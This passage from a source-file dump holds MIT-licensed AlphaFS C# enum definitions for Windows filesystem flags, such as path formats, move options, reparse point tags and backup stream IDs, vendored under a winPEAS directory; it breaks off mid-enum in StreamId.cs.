    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Determines the format to convert a path to using <see cref=\"Path.GetFinalPathNameByHandle(Microsoft.Win32.SafeHandles.SafeFileHandle)\"/>.</summary>\n   [Flags]\n   public enum FinalPathFormats\n   {\n      /// <summary>(FileNameNormalized / VolumeNameDos) Return the normalized drive name. This is the default.</summary>\n      None = 0,\n\n      /// <summary>Return the path with a volume GUID path instead of the drive name.</summary>\n      VolumeNameGuid = 1,\n\n      /// <summary>Return the path with the volume device path.</summary>\n      VolumeNameNT = 2,\n\n      /// <summary>Return the path with no drive information.</summary>\n      VolumeNameNone = 4,\n\n      /// <summary>Return the opened file name (not normalized).</summary>\n      FileNameOpened = 8\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/GetFullPathOptions.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>A bitfield of flags for specifying options for various internal operations that convert paths to full paths.</summary>\n   [Flags]\n   public enum GetFullPathOptions\n   {\n      /// <summary>No special options applies.</summary>\n      None = 0,\n\n      /// <summary>Remove any trailing whitespace from the path.</summary>\n      TrimEnd = 1,\n\n      /// <summary>Add a trailing directory separator to the path (if one does not already exist).</summary>\n      AddTrailingDirectorySeparator = 2,\n\n      /// <summary>Remove the trailing directory separator from the path (if one exists).</summary>\n      RemoveTrailingDirectorySeparator = 4,\n\n      /// <summary>Return full path as long full path (Unicode format). Not valid for <see cref=\"Path.GetRegularPath\"/>.</summary>\n      AsLongPath = 8,\n\n      /// <summary>Prevents any exception from being thrown if a filesystem object does not exist. Not valid for <see cref=\"Path.GetRegularPath\"/>.</summary>\n      ContinueOnNonExist = 16,\n\n      /// <summary>Check that the path contains only valid path-characters.</summary>\n      CheckInvalidPathChars = 32,\n\n      /// <summary>Also check for wildcard (? and *) characters.</summary>\n      CheckAdditional = 64,\n\n      /// <summary>Do not trim the trailing dot or space.</summary>\n      KeepDotOrSpace = 128,\n\n      /// <summary>Performs both <see cref=\"CheckInvalidPathChars\"/> and <see cref=\"CheckAdditional\"/> checks.</summary>\n      FullCheck = CheckInvalidPathChars | CheckAdditional\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/MoveOptions.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Used by MoveFileXxx.Flags that specify how a file or directory is to be moved.</summary>\n   [Flags]\n   public enum MoveOptions\n   {\n      /// <summary>No MoveOptions used, this fails when the file name already exists.</summary>\n      None = 0,\n\n\n      /// <summary>MOVE_FILE_REPLACE_EXISTSING\n      /// <para>If the destination file name already exists, the function replaces its contents with the contents of the source file.</para>\n      /// <para>This value cannot be used if lpNewFileName or lpExistingFileName names a directory.</para>\n      /// <para>This value cannot be used if either source or destination names a directory.</para>\n      /// </summary>\n      ReplaceExisting = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_REPLACE_EXISTSING,\n\n\n      /// <summary>MOVE_FILE_COPY_ALLOWED\n      /// <para>If the file is to be moved to a different volume, the function simulates the move by using the CopyFile and DeleteFile functions.</para>\n      /// <para>This value cannot be used with <see cref=\"MoveOptions.DelayUntilReboot\"/>.</para>\n      /// </summary>\n      CopyAllowed = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_COPY_ALLOWED,\n\n\n      /// <summary>MOVE_FILE_DELAY_UNTIL_REBOOT\n      /// <para>\n      /// The system does not move the file until the operating system is restarted.\n      /// The system moves the file immediately after AUTOCHK is executed, but before creating any paging files.\n      /// </para>\n      /// <para>\n      /// Consequently, this parameter enables the function to delete paging files from previous startups.\n      /// This value can only be used if the process is in the context of a user who belongs to the administrators group or the LocalSystem account.\n      /// </para>\n      /// <para>This value cannot be used with <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      /// </summary>\n      DelayUntilReboot = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_DELAY_UNTIL_REBOOT,\n\n\n      /// <summary>MOVE_FILE_WRITE_THROUGH\n      /// <para>The function does not return until the file has actually been moved on the disk.</para>\n      /// <para>\n      /// Setting this value guarantees that a move performed as a copy and delete operation is flushed to disk before the function returns.\n      /// The flush occurs at the end of the copy operation.\n      /// </para>\n      /// <para>This value has no effect if <see cref=\"MoveOptions.DelayUntilReboot\"/> is set.</para>\n      /// </summary>\n      WriteThrough = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_WRITE_THROUGH,\n\n\n      /// <summary>MOVE_FILE_CREATE_HARDLINK\n      /// <para>Reserved for future use.</para>\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hardlink\")]\n      CreateHardlink = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_CREATE_HARDLINK,\n\n\n      /// <summary>MOVE_FILE_FAIL_IF_NOT_TRACKABLE\n      /// <para>The function fails if the source file is a link source, but the file cannot be tracked after the move.</para>\n      /// <para>This situation can occur if the destination is a volume formatted with the FAT file system.</para>\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Trackable\")]\n      FailIfNotTrackable = NativeMethods.MOVE_FILE_FLAGS.MOVE_FILE_FAIL_IF_NOT_TRACKABLE\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/PathFormat.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Indicates the format of a path passed to a method.</summary>\n   /// <remarks>\n   /// At some point in code you know the full path of file system objects, e.g.: \"C:\\Windows\".\n   /// For example, Directory.EnumerateFileSystemEntries() will return all files and directories from a given path.\n   /// Most likely, some processing will happen on the results of the enum. The file or directory may be passed\n   /// on to another function. Whenever a file path is required, some performance can be gained.\n   /// <para>&#160;</para>\n   /// A path like: \"C:\\Windows\" or \"\\\\server\\share\" is considered a full path for a directory because it is rooted and has a drive/unc path.\n   /// If the method supports it, <see cref=\"PathFormat.FullPath\"/> and <see cref=\"PathFormat.LongFullPath\"/> will skip GetFullPath()\n   /// calls for path resolving of the object, while also avoiding path validation and checks.\n   /// Using <see cref=\"PathFormat.RelativePath\"/> (default) will always call GetFullPath() and perform path validation and checks.\n   /// <para>&#160;</para>\n   /// When working in a loop with thousands of files, <see cref=\"PathFormat.LongFullPath\"/> will give the best performance.\n   /// </remarks>\n   public enum PathFormat\n   {\n      /// <summary>The format of the path is automatically detected by the method and internally converted to an extended length path.\n      /// It can be either a standard (short) full path, an extended length (unicode) full path or a relative path.\n      /// <para>Example relative path: \"Windows\".</para>\n      /// </summary>\n      RelativePath,\n\n      /// <summary>The path is a full path in either normal or extended length (UNICODE) format.\n      /// Internally it will be converted to an extended length (UNICODE) path.\n      /// Using this option has a very slight performance advantage compared to using <see cref=\"RelativePath\"/>.\n      /// <para>Example full path: \"C:\\Windows\" or \"\\\\server\\share\".</para>\n      /// </summary>\n      FullPath,\n\n      /// <summary>The path is an extended length path. No additional processing will be done on the path, and it will be used as-is.\n      /// Using this option has a slight performance advantage compared to using <see cref=\"RelativePath\"/>.\n      /// <para>Example long full path: \"\\\\?\\C:\\Windows\" or \"\\\\?\\UNC\\server\\share\".</para>\n      /// </summary>\n      LongFullPath\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/ReparsePointTag.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Enumeration specifying the different reparse point tags.</summary>\n   /// <remarks>\n   ///   <para>Reparse tags, with the exception of IO_REPARSE_TAG_SYMLINK, are processed on the server and are not processed by a client after transmission over the wire.</para>\n   ///   <para>Clients should treat associated reparse data as opaque data.</para>\n   /// </remarks>\n   public enum ReparsePointTag\n   {\n      /// <summary>The entry is not a reparse point.</summary>\n      None = 0,\n\n      /// <summary>IO_REPARSE_APPXSTREAM</summary>\n      AppXStream = unchecked ((int) 3221225492),\n\n      /// <summary>IO_REPARSE_TAG_CSV</summary>\n      Csv = unchecked ((int) 2147483657),\n\n      /// <summary>IO_REPARSE_TAG_DRIVER_EXTENDER\n      /// <para>Used by Home server drive extender.</para>\n      /// </summary>\n      DriverExtender = unchecked ((int) 2147483653),\n\n      /// <summary>IO_REPARSE_TAG_DEDUP</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Dedup\")]\n      Dedup = unchecked ((int) 2147483667),\n\n      /// <summary>IO_REPARSE_TAG_DFS\n      /// <para>Used by the DFS filter.</para>\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Dfs\")]\n      Dfs = unchecked ((int) 2147483658),\n\n      /// <summary>IO_REPARSE_TAG_DFSR\n      /// <para>Used by the DFS filter.</para>\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Dfsr\")]\n      Dfsr = unchecked ((int) 2147483666),\n\n      /// <summary>IO_REPARSE_TAG_FILTER_MANAGER\n      /// <para>Used by filter manager test harness.</para>\n      /// </summary>\n      FilterManager = unchecked ((int) 2147483659),\n\n      /// <summary>IO_REPARSE_TAG_HSM\n      /// <para>(Obsolete) Used by legacy Hierarchical Storage Manager Product.</para>\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hsm\")]\n      Hsm = unchecked ((int) 3221225476),\n\n      /// <summary>IO_REPARSE_TAG_HSM2\n      /// <para>(Obsolete) Used by legacy Hierarchical Storage Manager Product.</para>\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Hsm\")]\n      Hsm2 = unchecked ((int) 2147483654),\n\n      /// <summary>IO_REPARSE_TAG_NFS\n      /// <para>NFS symlinks, Windows 8 / SMB3 and later.</para>\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Nfs\")]\n      Nfs = unchecked ((int) 2147483668),\n\n      /// <summary>IO_REPARSE_TAG_MOUNT_POINT\n      /// <para>Used for mount point support.</para>\n      /// </summary>\n      MountPoint = unchecked ((int) 2684354563),\n\n      /// <summary>IO_REPARSE_TAG_SIS\n      /// <para>Used by single-instance storage (SIS) filter driver.</para>\n      /// </summary>\n      Sis = unchecked ((int) 2147483655),\n\n      /// <summary>IO_REPARSE_TAG_SYMLINK\n      /// <para>Used for symbolic link support.</para>\n      /// </summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Sym\")]\n      SymLink = unchecked ((int) 2684354572),\n\n      /// <summary>IO_REPARSE_TAG_WIM</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Wim\")]\n      Wim = unchecked ((int) 2147483656)\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/SetupDiGetDeviceRegistryPropertyEnum.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal static partial class NativeMethods\n   {\n      /// <summary>Flags for SetupDiGetDeviceRegistryProperty().</summary>\n      internal enum SetupDiGetDeviceRegistryPropertyEnum\n      {\n         /// <summary>SPDRP_DEVICEDESC\n         /// <para>Represents a description of a device instance.</para>\n         /// </summary>\n         DeviceDescription = 0,\n\n         /// <summary>SPDRP_HARDWAREID\n         /// <para>Represents the list of hardware identifiers for a device instance.</para>\n         /// </summary>\n         HardwareId = 1,\n\n         /// <summary>SPDRP_COMPATIBLEIDS\n         /// <para>Represents the list of compatible identifiers for a device instance.</para>\n         /// </summary>\n         CompatibleIds = 2,\n\n         //SPDRP_UNUSED0 = 0x00000003,\n\n         /// <summary>SPDRP_CLASS\n         /// <para>Represents the name of the service that is installed for a device instance.</para>\n         /// </summary>\n         Service = 4,\n\n         //SPDRP_UNUSED1 = 0x00000005,\n         //SPDRP_UNUSED2 = 0x00000006,\n\n         /// <summary>SPDRP_CLASS\n         /// <para>Represents the name of the device setup class that a device instance belongs to.</para>\n         /// </summary>\n         Class = 7,\n\n         /// <summary>SPDRP_CLASSGUID\n         /// <para>Represents the <see cref=\"System.Guid\"/> of the device setup class that a device instance belongs to.</para>\n         /// </summary>\n         ClassGuid = 8,\n\n         /// <summary>SPDRP_DRIVER\n         /// <para>Represents the registry entry name of the driver key for a device instance.</para>\n         /// </summary>\n         Driver = 9,\n\n         ///// <summary>SPDRP_CONFIGFLAGS\n         ///// Represents the configuration flags that are set for a device instance.\n         ///// </summary>\n         //ConfigurationFlags = 10,\n\n         /// <summary>SPDRP_MFG\n         /// <para>Represents the name of the manufacturer of a device instance.</para>\n         /// </summary>\n         Manufacturer = 11,\n\n         /// <summary>SPDRP_FRIENDLYNAME\n         /// <para>Represents the friendly name of a device instance.</para>\n         /// </summary>\n         FriendlyName = 12,\n\n         /// <summary>SPDRP_LOCATION_INFORMATION\n         /// <para>Represents the bus-specific physical location of a device instance.</para>\n         /// </summary>\n         LocationInformation = 13,\n\n         /// <summary>SPDRP_PHYSICAL_DEVICE_LOCATION\n         /// <para>Encapsulates the physical device location information provided by a device's firmware to Windows.</para>\n         /// </summary>\n         PhysicalDeviceObjectName = 14,\n\n         ///// <summary>SPDRP_CAPABILITIES\n         //// <para>Represents the capabilities of a device instance.</para>\n         //// </summary>\n         //Capabilities = 15,\n\n         ///// <summary>SPDRP_UI_NUMBER - Represents a number for the device instance that can be displayed in a user interface item.</summary>\n         //UiNumber = 16,\n\n         ///// <summary>SPDRP_UPPERFILTERS - Represents a list of the service names of the upper-level filter drivers that are installed for a device instance.</summary>\n         //UpperFilters = 17,\n\n         ///// <summary>SPDRP_LOWERFILTERS - Represents a list of the service names of the lower-level filter drivers that are installed for a device instance.</summary>\n         //LowerFilters = 18,\n\n         ///// <summary>SPDRP_BUSTYPEGUID - Represents the <see cref=\"Guid\"/> that identifies the bus type of a device instance.</summary>\n         //BusTypeGuid = 19,\n\n         ///// <summary>SPDRP_LEGACYBUSTYPE - Represents the legacy bus number of a device instance.</summary>\n         //LegacyBusType = 20,\n\n         ///// <summary>SPDRP_BUSNUMBER - Represents the number that identifies the bus instance that a device instance is attached to.</summary>\n         //BusNumber = 21,\n\n         /// <summary>SPDRP_ENUMERATOR_NAME\n         /// <para>Represents the name of the enumerator for a device instance.</para>\n         /// </summary>\n         EnumeratorName = 22,\n\n         ///// <summary>SPDRP_SECURITY - Represents a security descriptor structure for a device instance.</summary>\n         //Security = 23,\n\n         ///// <summary>SPDRP_SECURITY_SDS - Represents a security descriptor string for a device instance.</summary>\n         //SecuritySds = 24,\n\n         ///// <summary>SPDRP_DEVTYPE - Represents the device type of a device instance.</summary>\n         //DeviceType = 25,\n\n         ///// <summary>SPDRP_EXCLUSIVE - Represents a Boolean value that determines whether a device instance can be opened for exclusive use.</summary>\n         //Exclusive = 26,\n\n         ///// <summary>SPDRP_CHARACTERISTICS - Represents the characteristics of a device instance.</summary>\n         //Characteristics = 27,\n\n         ///// <summary>SPDRP_ADDRESS - Represents the bus-specific address of a device instance.</summary>\n         //Address = 28,\n\n         ///// <summary>SPDRP_UI_NUMBER_DESC_FORMAT - Represents a printf-compatible format string that you should use to display the value of the <see cref=\"UiNumber\"/> device property for a device instance.</summary>\n         //UiNumberDescriptionFormat = 29,\n\n         ///// <summary>SPDRP_DEVICE_POWER_DATA - Represents power information about a device instance.</summary>\n         //DevicePowerData = 30,\n\n         ///// <summary>SPDRP_REMOVAL_POLICY - Represents the current removal policy for a device instance.</summary>\n         //RemovalPolicy = 31,\n\n         ///// <summary>SPDRP_REMOVAL_POLICY_HW_DEFAULT - Represents the default removal policy for a device instance.</summary>\n         //RemovalPolicyDefault = 32,\n\n         ///// <summary>SPDRP_REMOVAL_POLICY_OVERRIDE- Represents the removal policy override for a device instance.</summary>\n         //RemovalPolicyOverride = 33,\n\n         ///// <summary>SPDRP_INSTALL_STATE - Represents the installation state of a device instance.</summary>\n         //InstallState = 34,\n\n         /// <summary>SPDRP_LOCATION_PATHS\n         /// <para>Represents the location of a device instance in the device tree.</para>\n         /// </summary>\n         LocationPaths = 35,\n\n         /// <summary>SPDRP_BASE_CONTAINERID\n         /// <para>Represents the <see cref=\"System.Guid\"/> value of the base container identifier (ID) .The Windows Plug and Play (PnP) manager assigns this value to the device node (devnode).</para>\n         /// </summary>\n         BaseContainerId = 36\n      }\n   }\n}"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/StreamAttribute.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Attributes of data to facilitate cross-operating system transfer. This member can be one or more of the following values.</summary>\n   [SuppressMessage(\"Microsoft.Design\", \"CA1027:MarkEnumsWithFlags\")]\n   [SuppressMessage(\"Microsoft.Naming\", \"CA1711:IdentifiersShouldNotHaveIncorrectSuffix\")]\n   public enum StreamAttribute\n   {\n      /// <summary>This backup stream has no special attributes.</summary>\n      None = NativeMethods.STREAM_ATTRIBUTE.NONE,\n\n      /// <summary>Attribute set if the stream contains data that is modified when read. Allows the backup application to know that verification of data will fail.</summary>\n      ModifiedWhenRead = NativeMethods.STREAM_ATTRIBUTE.STREAM_MODIFIED_WHEN_READ,\n\n      /// <summary>The backup stream contains security information. This attribute applies only to backup stream of type <see cref=\"StreamId.BackupSecurityData\"/>.</summary>\n      ContainsSecurity = NativeMethods.STREAM_ATTRIBUTE.STREAM_CONTAINS_SECURITY,\n\n      /// <summary>Reserved.</summary>\n      ContainsProperties = NativeMethods.STREAM_ATTRIBUTE.STREAM_CONTAINS_PROPERTIES,\n\n      /// <summary>The backup stream is part of a sparse file stream. This attribute applies only to backup stream of type <see cref=\"StreamId.BackupData\"/>, <see cref=\"StreamId.BackupAlternateData\"/>, and <see cref=\"StreamId.BackupSparseBlock\"/>.</summary>\n      SparseAttribute = NativeMethods.STREAM_ATTRIBUTE.STREAM_SPARSE_ATTRIBUTE\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Structures, Enumerations/StreamId.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>The type of the data contained in the backup stream. This member can be one of the following values.</summary>\n   public enum StreamId\n   {\n      /// <summary>This indicates an error.</summary>\n      None = NativeMethods.STREAM_ID.NONE,\n\n\n      /// <summary>Standard data. This corresponds to the NTFS $DATA stream type on the default (unnamed) data stream.</summary>\n      BackupData = NativeMethods.STREAM_ID.BACKUP_DATA,\n\n\n      /// <summary>Extended attribute data. This corresponds to the NTFS $EA stream type.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Ea\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"Ea\")]\n      BackupEaData = NativeMethods.STREAM_ID.BACKUP_EA_DATA,\n\n\n      /// <summary>Security descriptor data.</summary>\n      BackupSecurityData = NativeMethods.STREAM_ID.BACKUP_SECURITY_DATA,\n\n\n      /// <summary>Alternative data streams. This corresponds to the NTFS $DATA stream type on a named data stream.</summary>\n      BackupAlternateData = NativeMethods.STREAM_ID.BACKUP_ALTERNATE_DATA,\n\n\n      /// <summary>Hard link information. This corresponds to the NTFS $FILE_NAME stream type.</summary>\n      BackupLink = NativeMethods.STREAM_ID.BACKUP_LINK,\n\n\n      /// <summary>Property data.</summary>\n      BackupPropertyData 